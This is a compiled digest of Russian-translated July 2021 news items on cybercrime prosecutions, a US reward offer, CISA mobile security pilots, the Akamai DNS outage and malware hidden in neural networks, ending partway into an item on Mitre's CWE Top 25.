Операції правоохоронних органів та судові справи проти кіберзлочинців

«Гражданин Соединенного Королевства был арестован сегодня в Эстепоне, Испания, испанской национальной полицией в соответствии с запросом США о его аресте по нескольким обвинениям в связи с взломом Twitter в июле 2020 года, в результате которого были взломаны более 130 учетных записей Twitter, в том числе принадлежащие политикам, знаменитостям и компаниям.

22-летний Джозеф О'Коннор обвиняется в уголовном преступлении, поданном в Окружной суд США Северного округа Калифорнии.

Согласно судебным документам, помимо взлома Twitter 15 июля 2020 года, О'Коннор обвиняется в компьютерных вторжениях, связанных с захватом учетных записей пользователей TikTok и Snapchat. О'Коннору также предъявлено обвинение в киберпреследовании несовершеннолетней жертвы.

О'Коннор обвиняется по трем пунктам сговора с целью умышленного доступа к компьютеру без авторизации и получения информации с защищенного компьютера; два случая преднамеренного доступа к компьютеру без авторизации и получения информации с защищенного компьютера; один эпизод сговора с целью умышленного доступа к компьютеру без авторизации и с намерением вымогать у человека ценную вещь, передача сообщения, содержащего угрозу; один пункт о вымогательстве; одно сообщение с угрозами; и два случая киберпреследования. Если О'Коннор будет признан виновным, судья федерального окружного суда вынесет приговор после рассмотрения Руководящих принципов вынесения приговоров в США и других нормативных факторов.

Об этом объявили исполняющий обязанности помощника генерального прокурора Николас Л. Маккуэйд из уголовного отдела Министерства юстиции, исполняющая обязанности прокурора США Стефани Хайндс от Северного округа Калифорнии и ответственный специальный агент Крейг Д. Фэйр из полевого офиса ФБР в Сан-Франциско.

Подразделение ФБР в Сан-Франциско расследует дело при содействии кибер-группы IRS-Criminal Investigation; Секретная служба США, Сан-Франциско и штаб-квартира; и офис шерифа округа Санта-Клара и его целевая группа РЕАКТ.

Помощник заместителя начальника Адриенн Роуз из отдела компьютерных преступлений и интеллектуальной собственности уголовного отдела и помощники прокуроров США Уильям Френтцен и Эндрю Доусон из прокуратуры США в Северном округе Калифорнии ведут судебное преследование.

Значительную помощь оказывает Управление по международным делам Министерства юстиции. Национальное агентство по борьбе с преступностью Великобритании и Национальная полиция Испании оказали помощь в расследовании и аресте.

Утверждения о возбуждении уголовного дела являются просто утверждением, и все обвиняемые считаются невиновными до тех пор, пока их вина не будет доказана вне разумных сомнений в суде». ***(Man Arrested in Connection with Alleged Role in Twitter Hack // U.S. Department of Justice (https://www.justice.gov/opa/pr/man-arrested-connection-alleged-role-twitter-hack). 21.07.2021).***

***

«В мае федеральное большое жюри в Сан-Диего, штат Калифорния, вынесло обвинительный акт, в котором четырем гражданам и жителям Китайской Народной Республики было предъявлено обвинение в проведении кампании по взлому компьютерных систем десятков компаний-жертв, университетов и государственных структур в США и США. В период с 2011 по 2018 год. В обвинительном заключении, которое было обнародовано в пятницу, утверждается, что большая часть кражи заговора была сосредоточена на информации, которая имела значительную экономическую выгоду для китайских компаний и коммерческих секторов, включая информацию, которая позволила бы обойти длинные и ресурсные -интенсивные процессы исследований и разработок. Подсудимые и их заговорщики из Департамента государственной безопасности Хайнаня (HSSD) пытались скрыть роль китайского правительства в такой краже, создав подставную компанию.

В обвинительном заключении с двумя пунктами утверждается, что Дин Сяоянь, Чэн Цинминь (程庆民) и Чжу Юньминь (朱允敏) были офицерами HSSD, ответственными за координацию, содействие и управление компьютерными хакерами и лингвистами в Hainan Xiandun и других подставных компаниях MSS для проведения взлом в интересах Китая и его государственных и спонсируемых организаций. В обвинительном заключении утверждается, что У Шуронг (吴淑荣) был компьютерным хакером, который в рамках своих служебных обязанностей в Hainan Xiandun создавал вредоносные программы, взламывал компьютерные

системы, управляемые иностранными правительствами, компаниями и университетами, и руководил другими хакерами Hainan Xiandun.

Хакерская кампания заговора была нацелена на жертв в США, Австрии, Камбодже, Канаде, Германии, Индонезии, Малайзии, Норвегии, Саудовской Аравии, Южной Африке, Швейцарии и Великобритании. Целевые отрасли включали, среди прочего, авиацию, оборону, образование, правительство, здравоохранение, биофармацевтику и море. Украденные коммерческие секреты и конфиденциальная бизнес-информация включала, среди прочего, конфиденциальные технологии, используемые для подводных аппаратов и автономных транспортных средств, специальные химические формулы, обслуживание коммерческих самолетов, патентованные технологии и данные генетического секвенирования, а также зарубежную информацию для поддержки усилий Китая по обеспечению контрактов для государства. предприятия в целевой стране (например, крупномасштабные проекты развития высокоскоростной железной дороги). В исследовательских институтах и университетах заговор был нацелен на исследования инфекционных заболеваний, связанных с Эболой, MERS, ВИЧ / СПИДом, Марбургом и туляремией.

Как утверждается, обвиненные офицеры MSS координировали свои действия с персоналом и профессорами в различных университетах Хайнаня и других регионов Китая для достижения целей заговора. Такие университеты не только помогали MSS в выявлении и наборе хакеров и лингвистов для проникновения в компьютерные сети и воровства из компьютерных сетей целевых организаций, включая коллег из многих зарубежных университетов, но и персонал одного идентифицированного университета Хайнаня также помогал поддерживать и управлять Хайнань Сиандун в качестве подставной компании, в том числе через платежную ведомость, льготы и почтовый адрес.

«Эти уголовные обвинения еще раз подчеркивают, что Китай продолжает использовать кибератаки для кражи того, что делают другие страны, вопиющим образом игнорируя свои двусторонние и многосторонние обязательства», - заявила заместитель генерального прокурора Лиза О. Монако. «Масштабы и продолжительность хакерских кампаний Китая, включая эти усилия, нацеленные на дюжину стран в самых разных секторах, от здравоохранения и биомедицинских исследований до авиации и обороны, напоминают нам, что ни одна страна или отрасль не являются безопасными. Сегодняшнее международное осуждение показывает, что мир хочет справедливых правил, при которых страны инвестируют в инновации, а не в воровство».

«ФБР вместе с нашими федеральными и международными партнерами по-прежнему привержено созданию рисков и последствий для этих злоумышленников в киберпространстве здесь, в США и за рубежом», - сказал заместитель директора ФБР Пол М. Аббейт. «Мы не позволим китайскому правительству продолжать использовать эту тактику для получения несправедливых экономических преимуществ для своих компаний и коммерческих секторов посредством криминального вторжения и воровства. Подобными действиями китайское правительство продолжает подрывать свои собственные претензии на то, что оно является надежным и эффективным партнером в международном сообществе».

«В этом обвинении говорится о всемирной кампании хакерства и экономического шпионажа, проводимой правительством Китая», - сказал исполняющий обязанности прокурора США Рэнди Гроссман от Южного округа Калифорнии. «В число обвиняемых входят сотрудники иностранной разведки, которые организовали предполагаемые преступления, и обвинительный акт демонстрирует, как правительство Китая сделало сознательный выбор в пользу обмана и воровства вместо нововведений. Эти правонарушения угрожают нашей экономике и национальной безопасности, и это судебное преследование отражает приверженность и способность Министерства юстиции привлекать отдельных лиц и нации к ответственности за кражу идей и интеллектуальных достижений лучших и самых ярких людей нашей страны».

«Полевой офис ФБР в Сан-Диего стремится защищать население Соединенных Штатов и сообщество Сан-Диего, включая наши университеты, системы здравоохранения, научно-исследовательские институты и подрядчиков», - заявила ответственный специальный агент Сюзанна Тернер из Министерства обороны США. Полевой офис ФБР в Сан-Диего. «Обвинения, изложенные сегодня, демонстрируют непрекращающиеся и настойчивые попытки Китая по вторжению компьютеров, которые недопустимы ни здесь, ни за рубежом. Мы твердо поддерживаем наших партнеров в правоохранительных органах в Соединенных Штатах и во всем мире и будем продолжать привлекать к ответственности тех, кто совершает экономический шпионаж и кражу интеллектуальной собственности».

Деятельность обвиняемых ранее была установлена исследователями безопасности из частного сектора, которые называли группу Advanced Persistent Threat (APT) 40, BRONZE, MOHAWK, FEVERDREAM, G0065, Gadolinium, GreenCrash, Hellsing, Kryptonite Panda, Leviathan, Mudcarp, Перископ, временный перископ и временная перемычка.

Согласно обвинительному заключению, чтобы получить первоначальный доступ к сетям жертв, заговор отправлял мошеннические электронные письма с целевым фишингом, которые подкреплялись фиктивными онлайн-профилями и содержали ссылки на доменные имена doppelgänger, которые были созданы, чтобы имитировать или напоминать домены законных компаний. В некоторых случаях заговор использовал похищенные учетные данные и доступ, который они предоставляли, для запуска целевых фишинговых кампаний против других пользователей в рамках той же организации-жертвы или других целевых организаций. Заговор также использовал многочисленные и постоянно развивающиеся наборы сложных вредоносных программ, включая как общедоступные, так и настраиваемые вредоносные программы, для получения, расширения и поддержания несанкционированного доступа к компьютерам и сетям жертв. Вредоносные программы заговора включали вредоносные программы, идентифицированные исследователями безопасности как BADFLICK, также известные как GreenCrash; ФОТО, он же Дерусби; МУРКИТОП, он же mt.exe; и HOMEFRY, он же dp.dll. Такое вредоносное ПО допускало первоначальные и продолжающиеся вторжения в системы-жертвы, горизонтальное перемещение внутри системы и кражу учетных данных, включая пароли администратора.

Заговор часто использовал службы анонимайзера, такие как The Onion Router (TOR), для доступа к вредоносным программам в сетях жертв и управления их инфраструктурой взлома, включая серверы, домены и учетные записи электронной почты. Заговор также пытался скрыть свою хакерскую деятельность с помощью других сторонних сервисов. Например, заговор использовал GitHub для хранения вредоносных программ и украденных данных, которые были скрыты с помощью стеганографии. Заговор также использовал ключи интерфейса программирования приложений (API) Dropbox в командах для загрузки украденных данных непосредственно в контролируемые сговором учетные записи Dropbox, чтобы защитникам сети показалось, что такая кража данных была законным использованием службы Dropbox сотрудником.

Одновременно с сегодняшним объявлением, для усиления усилий по защите сетей частного сектора от заговорщиков, ФБР и Агентство кибербезопасности и безопасности инфраструктуры (CISA) Министерства внутренней безопасности выпустили совместное консультативное сообщение по кибербезопасности, содержащее эти и другие технические детали, индикаторы компрометации и меры по смягчению.

Каждый обвиняемый обвиняется по одному пункту обвинения в сговоре с целью совершения компьютерного мошенничества, который предусматривает максимальное наказание в виде пяти лет лишения свободы, и по одному пункту обвинения в сговоре с целью совершения экономического шпионажа, который влечет за собой максимальное наказание в виде 15 лет лишения свободы. Максимальные возможные приговоры в этом случае предписаны Конгрессом и представлены здесь только в информационных целях, так как любые приговоры подсудимым будут определяться назначенным судьей.

Расследование проводилось совместно прокуратурой США в Южном округе Калифорнии, отделом контрразведки и экспортного контроля Управления национальной безопасности и полевым офисом ФБР в Сан-Диего. Киберотдел ФБР, помощники кибер-атташе по правовым вопросам и атташе по правовым вопросам в странах по всему миру оказали существенную поддержку. Многие потерпевшие сотрудничали и оказали ценную помощь в расследовании.

Это дело ведут помощники прокуроров США Фред Шеппард и Сабрина Фив из Южного округа Калифорнии и судебный поверенный Мэтью Маккензи из отдела контрразведки и экспортного контроля Управления национальной безопасности». ***(Four Chinese Nationals Working with the Ministry of State Security Charged with Global Computer Intrusion Campaign Targeting Intellectual Property and Confidential Business Information, Including Infectious Disease Research // U.S. Department of Justice (https://www.justice.gov/opa/pr/four-chinese-nationals-working-ministry-state-security-charged-global-computer-intrusion). 19.07.2021).***

***

«Прокуратура США обвинила гражданина Греции в предоставлении клиентам услуг инсайдерской торговли через Dark Web.

По данным Министерства юстиции США (DoJ) и Комиссии по ценным бумагам и биржам (SEC), Апостолосу Тровиасу предъявлено уголовное обвинение

«в связи с его схемой сбора и продажи советов по торговле акциями, а также предварительной публикации информации о доходах и сделках, относящихся к общественности. компании ".

Обвинения были раскрыты в федеральном суде Манхэттена на прошлой неделе.

30-летний мужчина, работающий под именем TheBull, якобы занимался инсайдерской торговлей как минимум с 2016 года через Dark Web и службы зашифрованных сообщений до начала 2021 года.

Сообщается, что Trovias собирает и монетизирует инсайдерскую информацию, предлагая клиентам данные, в том числе советы по акциям, основанные на конфиденциальных торговых записях и предварительные отчеты о доходах.

В то время как предполагаемый трейдер начал свою карьеру на AlphaBay, после того, как подпольный рынок был захвачен и закрыт правоохранительными органами в 2017 году, он переключился на продажу информации напрямую. Чаевые можно было приобрести на условиях оплаты по мере использования или по подписке, и Trovias обеспечил около 100 клиентов, желающих подписаться на «услугу».

Согласно SEC, Trovias заявила, что данные книги заказов на продажу были получены от сотрудника фирмы по торговле ценными бумагами. Например, один предварительный отчет о доходах якобы был продан примерно за 5000 долларов в криптовалюте Биткойн (BTC).

В 2020 году он также якобы попытался создать торговую площадку, предназначенную для продажи и обмена инсайдерской информацией, под названием «Сайт аукциона внутренней информации».

Trovias обвиняется по одному пункту обвинения в мошенничестве с ценными бумагами и по другому пункту обвинения в отмывании денег. США серьезно относятся к обвинениям в инсайдерской торговле, поэтому по подсчетам за мошенничество с ценными бумагами можно отсидеть до 25 лет, а за отмывание денег - до 20 лет.

Кроме того, Комиссия по ценным бумагам и биржам обвинила предполагаемого трейдера в нарушении законодательства о борьбе с мошенничеством в соответствии с федеральными законами о ценных бумагах, и агентство требует судебных запретов, изъятия и штрафов…» ***(Charlie Osborne. US charges Greek national for selling insider trading subscriptions in the Dark Web // ZDNet (https://www.zdnet.com/article/us-charges-greek-national-for-selling-insider-trading-subscriptions-in-the-dark-web/). 14.07.2021).***

***

«Программа Государственного департамента США «Вознаграждение за правосудие» (RFJ), которая находится в ведении Дипломатической службы безопасности, предлагает вознаграждение в размере до 10 миллионов долларов за информацию, позволяющую установить личность или местонахождение любого лица, которое, действуя по указанию или находясь под контролем иностранного правительства, участвует в злонамеренных действиях в

киберпространстве против критической инфраструктуры США в нарушение Закона о компьютерном мошенничестве и злоупотреблениях (CFAA).

Некоторые злонамеренные кибероперации, нацеленные на критическую инфраструктуру США, могут нарушать CFAA. Нарушения закона могут включать в себя передачу угроз вымогательства как часть атак программ-вымогателей; преднамеренный несанкционированный доступ к компьютеру или превышение разрешенного доступа и, таким образом, получение информации с любого защищенного компьютера; и умышленное инициирование передачи программы, информации, кода или команды и в результате такого поведения умышленное причинение ущерба защищенному компьютеру без разрешения. К защищенным компьютерам относятся не только компьютерные системы правительства и финансовых учреждений США, но и те, которые используются или влияют на межгосударственную или иностранную торговлю или связь.

В соответствии с серьезностью, с которой мы рассматриваем эти киберугрозы, программа Rewards for Justice создала канал передачи подсказок через Dark Web (на базе Tor) для защиты безопасности и защиты потенциальных источников. Программа RFJ также работает с межведомственными партнерами, чтобы обеспечить быструю обработку информации, а также возможное перемещение и выплату вознаграждений источникам. Вознаграждение может включать платежи в криптовалюте.

Более подробная информация об этом предложении вознаграждения находится на веб-сайте Rewards for Justice по адресу www.rewardsforjustice.net. Мы призываем всех, у кого есть информация о злонамеренной кибер-активности, осуществляемой против критически важной инфраструктуры США в нарушение CFAA субъектами по указанию или под контролем иностранного правительства, связаться с офисом Rewards for Justice с помощью наших советов на базе Tor. канал отчетности по адресу: he5dybnt7sr6cm32xt77pazmtm65flqy6irivtflruqfc5ep7eiodiad.onion (требуется браузер Tor).

С момента своего создания в 1984 году программа выплатила более 200 миллионов долларов более чем 100 людям по всему миру, которые предоставили действенную информацию, которая помогла предотвратить терроризм, привлечь лидеров террористов к ответственности и устранить угрозы национальной безопасности США». ***(Rewards for Justice – Reward Offer for Information on Foreign Malicious Cyber Activity Against U.S. Critical Infrastructure // U.S. Department of State (https://www.state.gov/rewards-for-justice-reward-offer-for-information-on-foreign-malicious-cyber-activity-against-u-s-critical-infrastructure/). 15.07.2021).***

***

«Предполагаемый массовый киберпреступник был задержан в Марокко после двухлетнего расследования, проведенного Интерполом, марокканской полицией и Group-IB.

Подозреваемый, действуя под фирменным именем «Доктор Хекс», предположительно на протяжении нескольких лет преследовал тысячи ничего не

подозревающих жертв с помощью глобального фишинга, мошенничества и карточных операций с использованием мошенничества с кредитными картами.

Его также обвиняют в порче многочисленных веб-сайтов путем изменения их внешнего вида и содержания, а также в нацеливании на франкоязычные коммуникационные компании, несколько банков и транснациональных компаний с помощью вредоносных кампаний.

Подозреваемый также, как утверждается, помогал в разработке наборов карт для карт и фишинга, которые затем продавались другим лицам через онлайн-форумы, чтобы они могли проводить аналогичные злонамеренные кампании против жертв.

Затем они использовались для имитации онлайн-банкинга, позволяя подозреваемому и другим лицам красть конфиденциальную информацию и обманывать доверяющих лиц с целью получения финансовой выгоды, а потери отдельных лиц и компаний публиковались в Интернете с целью рекламы этих вредоносных услуг.

В рамках операции Lyrebird Управление по борьбе с киберпреступностью Интерпола тесно сотрудничало с Group-IB и марокканской полицией через Национальное центральное бюро Интерпола в Рабате, чтобы в конечном итоге найти и задержать человека, который все еще находится под следствием.

Исполнительный директор полицейских служб Интерпола Стивен Кавана сказал: «Это значительный успех против подозреваемого, которого обвиняют в нападениях на ничего не подозревающих лиц и компании в нескольких регионах в течение многих лет, и это дело подчеркивает угрозу, исходящую от киберпреступности во всем мире».

«Арест этого подозреваемого стал результатом выдающейся международной следственной работы и новых способов сотрудничества как с марокканской полицией, так и с нашими жизненно важными партнерами из частного сектора, такими как Group-IB».

Group-IB определила, что подозреваемый участвовал в атаках на 134 веб-сайта с 2009 по 2018 год, оставив свою подпись на веб-страницах.

Его участие в операции проходило в рамках инициативы Project Gateway, которая способствует сотрудничеству и обмену информацией между Интерполом и партнерами из частного сектора.

В мае Интерпол открыл новую службу киберпреступлений, чтобы расширить возможности 49 африканских стран по борьбе с киберпреступностью. Африканский отдел поможет сформировать региональную стратегию для управления скоординированными действиями разведки против киберпреступников и поддержать совместные операции, такие как Lyrebird.

В период нарастания киберугроз населению, предприятиям и организациям напоминают о необходимости защищаться от попыток фишинга, следуя советам, представленным в кампаниях Интерпола #WashYourCyberHands и #OnlineCrimeIsRealCrime». ***(Moroccan police arrest suspected cybercriminal after INTERPOL probe // INTERPOL (https://www.interpol.int/News-and-Events/News/2021/Moroccan-police-arrest-suspected-cybercriminal-after-INTERPOL-probe). 06.07.2021).***

***

«Гражданин Эстонии признал себя виновным сегодня в округе Аляска по двум пунктам обвинения в компьютерном мошенничестве и злоупотреблениях.

Согласно судебным документам, 33-летний Павел Цуркан управлял преступным прокси-ботнетом, получая удаленный доступ и взломав более 1000 компьютерных устройств и интернет-маршрутизаторов по всему миру, в том числе не менее 60 жертв на Аляске. Он использовал устройства жертв для создания и управления ботнетом на базе Интернета вещей (IoT), получившим название «Russian2015», с использованием домена Russian2015.ru. Он изменил работу каждого скомпрометированного интернет-маршрутизатора, чтобы его можно было использовать в качестве прокси для передачи стороннего интернет-трафика без ведома или согласия владельцев. Затем он продал доступ глобальным киберпреступникам, которые направляли свой трафик через домашние маршрутизаторы жертв, используя устройства жертв для участия в кампаниях по рассылке спама и другой преступной деятельности. У жертв на Аляске наблюдался значительный избыток данных, даже когда к домашним сетям жертв не было подключено домашних компьютеров. Превышение данных привело к сотням и тысячам долларов на жертву.

«Современные киберпреступники в своей преступной деятельности используют все более изощренные методы захвата компьютеров и персональных электронных устройств. Ботнеты, подобные «Russian2015», представляют собой опасную угрозу для всех американцев, и сегодняшнее признание вины демонстрирует, что мы можем и будем привлекать к ответственности иностранных киберпреступников и их пособников», - сказал исполняющий обязанности прокурора США Брайан Уилсон, округ Аляска. «Наш успех в разрушении этого ботнета стал результатом тесного партнерства между экспертами частного сектора и правоохранительными органами».

Цуркан должен быть приговорен 10 ноября 2021 года и ему грозит максимальное наказание в виде 10 лет тюрьмы. Судья федерального окружного суда вынесет решение по любому приговору после рассмотрения Руководящих принципов вынесения приговоров в США и других установленных законом факторов.

Полевое отделение ФБР в Анкоридже расследует дело при поддержке GCI и Palo Alto Networks Unit 42. Полевое отделение ФБР в Нью-Хейвене, Коннектикут, оказало помощь в ходе расследования.

Помощник прокурора США Адам Александер и судебный поверенный Олден Пелкер из отдела по компьютерным преступлениям и интеллектуальной собственности уголовного отдела ведут судебное преследование». ***(Estonian Citizen Pleads Guilty to Computer Fraud and Abuse // U.S. DEPARTMENT OF JUSTICE (https://www.justice.gov/usao-ak/pr/estonian-citizen-pleads-guilty-computer-fraud-and-abuse). 21.07.2021).***

***

«Поскольку мобильное оборудование, предоставляемое правительством, становится все более критичным для способности федеральных сотрудников успешно выполнять свои задачи, важно, чтобы эти устройства развертывались и использовались безопасным образом. Возможности мобильной кибербезопасности должны защищать устройства GFE и корпоративные активы, а также конфиденциальную информацию, хранящуюся и доступную в сетях через мобильные устройства.

Как ведущее агентство, отвечающее за предоставление инновационных высококачественных продуктов и услуг в области кибербезопасности для всего правительства, CISA рада объявить о запуске своей новейшей федеральной инициативы по обеспечению безопасности предприятий: общие службы мобильной кибербезопасности, в которых тестируются три возможности для повышения безопасности GFE. мобильные устройства (например, смартфоны и планшеты) и приложения. Управление пилотными проектами будет осуществляться Управлением управления качеством услуг в области кибербезопасности CISA (QSMO).

Проверка безопасности мобильных приложений

Первый пилотный проект мобильной безопасности CISA - это новая служба проверки мобильных приложений (MAV), которая будет оценивать безопасность мобильных приложений (приложений), разработанных правительством, и сторонних приложений, используемых на мобильных устройствах GFE. Служба выявляет уязвимости, недостатки и возможные риски приложений - либо случайные ошибки кодирования, либо намеренно размещенный вредоносный код - для мобильных устройств, а также для безопасности приложений и предприятия, чтобы можно было предпринять шаги для устранения обнаруженных проблем.

Компания Kryptowire, Inc. из Тайсонс Корнер, штат Вирджиния, получила контракт на выполнение фазы III контракта на исследования инноваций в малом бизнесе на сервис MAV. Они разработают пилотную возможность, внедряя сервис MAV для анализа мобильных приложений и встроенного ПО с целью обеспечения проверки мобильных приложений и анализа уязвимостей встроенного ПО в качестве масштабируемой услуги для Федеральной гражданской исполнительной власти (FCEB). Пилот-испытатель будет запущен в 2022 финансовом году и будет включать до трех агентств, которые первыми внедряют его.

Проверка безопасности мобильного устройства

Вторая пилотная версия мобильной безопасности ориентирована на безопасность мобильных устройств. Услуга Traveler-Verified Information Protection (T-VIP) - это инструмент проверки целостности устройства, который обнаруживает модификации программного, микропрограммного и аппаратного обеспечения смартфона между двумя точками времени.

Поскольку государственные путешественники нуждаются в своих мобильных устройствах GFE, чтобы оставаться на связи со своими офисами во время поездок в зарубежные страны, посольства или внешние сайты, они могут стать главной

целью для компромисса. Эти путешественники не могут отслеживать, что происходит «под капотом» их мобильных устройств, поэтому сравнение сканирований перед поездкой и после поездки с помощью программного обеспечения T-VIP, разработанного Тихоокеанской северо-западной национальной лабораторией, позволит выявить подозрительные изменения на устройствах, сделанные во время путешествия. их путешествия, тем самым повышая безопасность секретной правительственной информации. T-VIP - это готовое государственное решение, предназначенное только для официального правительственного использования. Служба тестируется для внедрения в качестве общего предложения полной мобильной кибербезопасности для агентств FCEB.

Служба безопасности мобильной сети

Наконец, CISA в сотрудничестве с Управлением Министерства внутренней безопасности, науки и технологий (S&T) разрабатывает пилотное решение для развертывания защитных служб DNS на мобильных устройствах. Поскольку правительственные учреждения и их сотрудники все больше полагаются на мобильные устройства с экспоненциальным ростом использования из-за обширной удаленной работы, принятой после пандемии, защитное решение DNS для мобильного трафика будет согласовывать защиту DNS с защитой, предоставляемой традиционным предприятиям. системы.

Проектом исследований и разработок руководит компания GuidePoint Security из штата Вирджиния, которая разрабатывает решение, которое будет направлять мобильный DNS-трафик на защитный DNS-преобразователь, управляемый CISA. Эта возможность мобильной защиты DNS предназначена для интеграции с предложением CISA по защите общих служб DNS.

Клиентоориентированный подход

По сути, главный приоритет CISA состоит в том, чтобы понять потребности, пробелы и риски наших клиентов в области кибербезопасности, а также предложить услуги, которые отвечают этим требованиям и согласуются с меняющимся ландшафтом угроз. Благодаря такому ориентированному на клиента подходу мы можем предоставлять лучшие в своем классе услуги кибербезопасности, необходимые для защиты федеральных сетей и удовлетворения потребностей клиентов. Для получения дополнительной информации о QSMO и новых общих сервисах мобильной кибербезопасности CISA посетите Cyber QSMO Marketplace или свяжитесь с нами по адресу QSMO@cisa.dhs.gov». ***(Eric Goldstein. CISA INITIATES MOBILE CYBERSECURITY SHARED SERVICES TO ENHANCE FEDERAL GOVERNMENT ENTERPRISE MOBILE SECURITY // The Cybersecurity and Infrastructure Security Agency (CISA) (https://www.cisa.gov/blog/2021/07/12/cisa-initiates-mobile-cybersecurity-shared-services-enhance-federal-government). 12.07.2021).***

***

«Akamai расследует продолжающийся сбой, затрагивающий многие основные веб-сайты и онлайн-сервисы, включая Steam, PlayStation Network, Newegg, AWS, Amazon, Google и Salesforce.

Хотя компания уже признала проблему, связав ее с проблемой службы Edge DNS, Akamai все еще пытается найти основную причину инцидента.

«Нам известно о возникающей проблеме со службой Edge DNS», - говорится в сообщении компании о происшествии со службой Edge DNS.

«Мы активно исследуем проблему. Если у вас есть вопросы или вы испытываете затруднения из-за этой проблемы, обратитесь в службу технической поддержки Akamai.

«В интересах экономии времени мы предоставляем вам самую свежую доступную информацию, которая может быть изменена, исправлена и обновлена».

По словам Akamai, Edge DNS - это авторитетное облачное решение DNS, предназначенное для обеспечения круглосуточной доступности DNS и повышения скорости отклика DNS.

Akamai также подтвердила эту проблему в Твиттере, заявив, что они предоставят обновленную информацию в течение следующих 30 минут.

В настоящее время компания внедрила исправление для решения текущей проблемы и ожидает, что обслуживание вернется в нормальное состояние для всех клиентов. Akamai утверждает, что отключение не было результатом кибератаки.

Теперь компания Akamai сообщила, что причиной этого глобального сбоя была «ошибка, вызванная обновлением конфигурации программного обеспечения в системе DNS».

«Сегодня в 15:46 по всемирному координированному времени обновление конфигурации программного обеспечения вызвало ошибку в системе DNS, системе, которая направляет браузеры на веб-сайты. Это вызвало сбой, повлиявший на доступность некоторых веб-сайтов клиентов», - заявили в компании.

«Сбой длился до часа. После отката обновления конфигурации программного обеспечения сервисы возобновили нормальную работу. Akamai может подтвердить, что это не была кибератака на платформу Akamai…». ***(Sergiu Gatlan. Akamai DNS global outage takes down major websites, online services // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/akamai-dns-global-outage-takes-down-major-websites-online-services/). 22.07.2021).***

***

«В четверг большая часть Интернета отключилась. Некоторые из самых популярных сайтов, приложений и сервисов в Интернете не работают, в том числе UPS и FedEx (которые с тех пор вернулись в сеть), Airbnb, Fidelity и другие, сообщают, что Steam, LastPass и PlayStation Network испытывают простои.

Также затронуты многие другие веб-сайты по всему миру, в том числе СМИ в Европе.

По всей видимости, причиной является сбой в работе Akamai, гиганта в области интернет-безопасности, который предоставляет компаниям сетевые услуги и услуги по доставке контента. Примерно в 11 часов утра по восточному времени Akamai сообщил о проблеме с Edge DNS, службой, предназначенной для обеспечения бесперебойной и безопасной работы веб-сайтов, приложений и служб.

Службы DNS критически важны для работы Интернета, но, как известно, содержат ошибки, и злоумышленники могут легко ими манипулировать. Такие компании, как Akamai, создали свои собственные службы DNS, которые призваны решить некоторые из этих проблем для своих клиентов. Но когда что-то идет не так или происходит сбой, это может нанести удар по всем веб-сайтам клиентов и службам, которые на них полагаются.

Akamai заявила, что «активно изучает проблему», но когда ее связали, официальный представитель не сказал, было ли отключение сети причиной нарушения работы других сайтов и служб, которые в настоящее время отключены. Представитель ThousandEyes, компании по интернет-мониторингу, купленной Cisco в 2020 году, объяснил отключение сети Akamai.

Akamai не сказал, что вызвало проблему, но что она уже находится в стадии восстановления.

«Мы исправили эту проблему, и, судя по текущим наблюдениям, служба возобновляет нормальную работу. Мы продолжим мониторинг, чтобы гарантировать, что воздействие было полностью смягчено», - сказал Акамай TechCrunch.

В последующем твите компания заявила, что это «не результат кибератаки».

Это не первый раз, когда мы наблюдаем такое серьезное отключение. В прошлом году у Cloudflare, который также предоставляет сетевые услуги компаниям по всему миру, был аналогичный сбой из- за ошибки, из-за которой перестали загружаться основные сайты, включая Shopify, Discord и Politico. В ноябре облачный сервис Amazon также потерпел неудачу, что не позволило ему обновить собственную страницу статуса во время инцидента. У стартапа онлайн-рабочего пространства Notion в этом году также произошел громкий сбой, из-за которого компания обратилась в Twitter с просьбой о помощи». ***(Zack Whittaker. A DNS outage just took down a large chunk of the internet // Verizon Media (https://techcrunch.com/2021/07/22/a-dns-outage-just-took-down-a-good-chunk-of-the-internet/). 22.07.2021).***

***

«Трое исследователей из Корнельского университета обнаружили, что вредоносный код можно скрыть внутри нейронных сетей ИИ. Чжи Ван, Чаоге Лю и Сян Цуй опубликовали статью, в которой описывают свои эксперименты по внедрению кода в нейронные сети на сервере препринтов arXiv.

По мере того, как компьютерные технологии становятся все более сложными, становятся все более сложными попытки преступников взломать машины, на которых запущены новые технологии, для своих собственных целей, таких как уничтожение данных или их шифрование и требование оплаты от пользователей за их возврат. В этом новом исследовании команда нашла новый способ заразить определенные виды компьютерных систем, на которых работают приложения искусственного интеллекта.

Системы искусственного интеллекта выполняют свою работу, обрабатывая данные аналогично человеческому мозгу. Но такие сети, как обнаружило трио исследователей, уязвимы для проникновения иностранного кода.

Нейронные сети по самой своей природе могут подвергаться вторжению посторонних агентов. Все, что должны делать такие агенты, - это имитировать структуру сети во многом так же, как воспоминания добавляются в человеческий мозг. Исследователи обнаружили, что они смогли сделать это, встраивая вредоносное ПО в нейронную сеть за системой ИИ под названием AlexNet - несмотря на то, что она довольно большая, занимая 36,9 МБ памяти на оборудовании, на котором работает система ИИ. Чтобы добавить код в нейронную сеть, исследователи выбрали то, что, по их мнению, будет лучшим слоем для внедрения. Они также добавили его в модель, которая уже была обучена, но отметили, что хакеры могут предпочесть атаковать необученную сеть, потому что это, вероятно, окажет меньшее влияние на всю сеть.

Исследователи обнаружили, что не только стандартное антивирусное программное обеспечение не могло обнаружить вредоносное ПО, но и производительность системы искусственного интеллекта после заражения оставалась почти такой же. Таким образом, заражение могло остаться незамеченным, если бы оно было выполнено тайно.

Исследователи отмечают, что простое добавление вредоносного ПО в нейронную сеть не причинит вреда - тот, кто вставил код в систему, все равно должен будет найти способ выполнить этот код. Они также отмечают, что теперь, когда известно, что хакеры могут внедрять код в нейронные сети AI, антивирусное программное обеспечение может быть обновлено для его поиска». ***(Bob Yirka. Hiding malware inside AI neural networks // Tech Xplore (https://techxplore.com/news/2021-07-malware-ai-neural-networks.html). 27.07.2021).***

***

Виявлені вразливості технічних засобів та програмного забезпечення

«Mitre опубликовал краткое изложение наиболее распространенных и критических уязвимостей в программном обеспечении, многие из которых легко найти и могут быть использованы киберпреступниками для захвата систем, кражи данных или сбоя приложений и даже компьютеров.

Список 25 наиболее опасных уязвимостей программного обеспечения (CWE) на 2021 год описывает наиболее распространенные и наиболее серьезные проблемы безопасности.

Список основан на опубликованных данных Common Vulnerabilities and Exposures (CVE), а также данных из Национальной базы данных уязвимостей (NVD) Национального института стандартов и технологий (NIST) и оценок CVE по Системе оценки общих уязвимостей (CVSS).

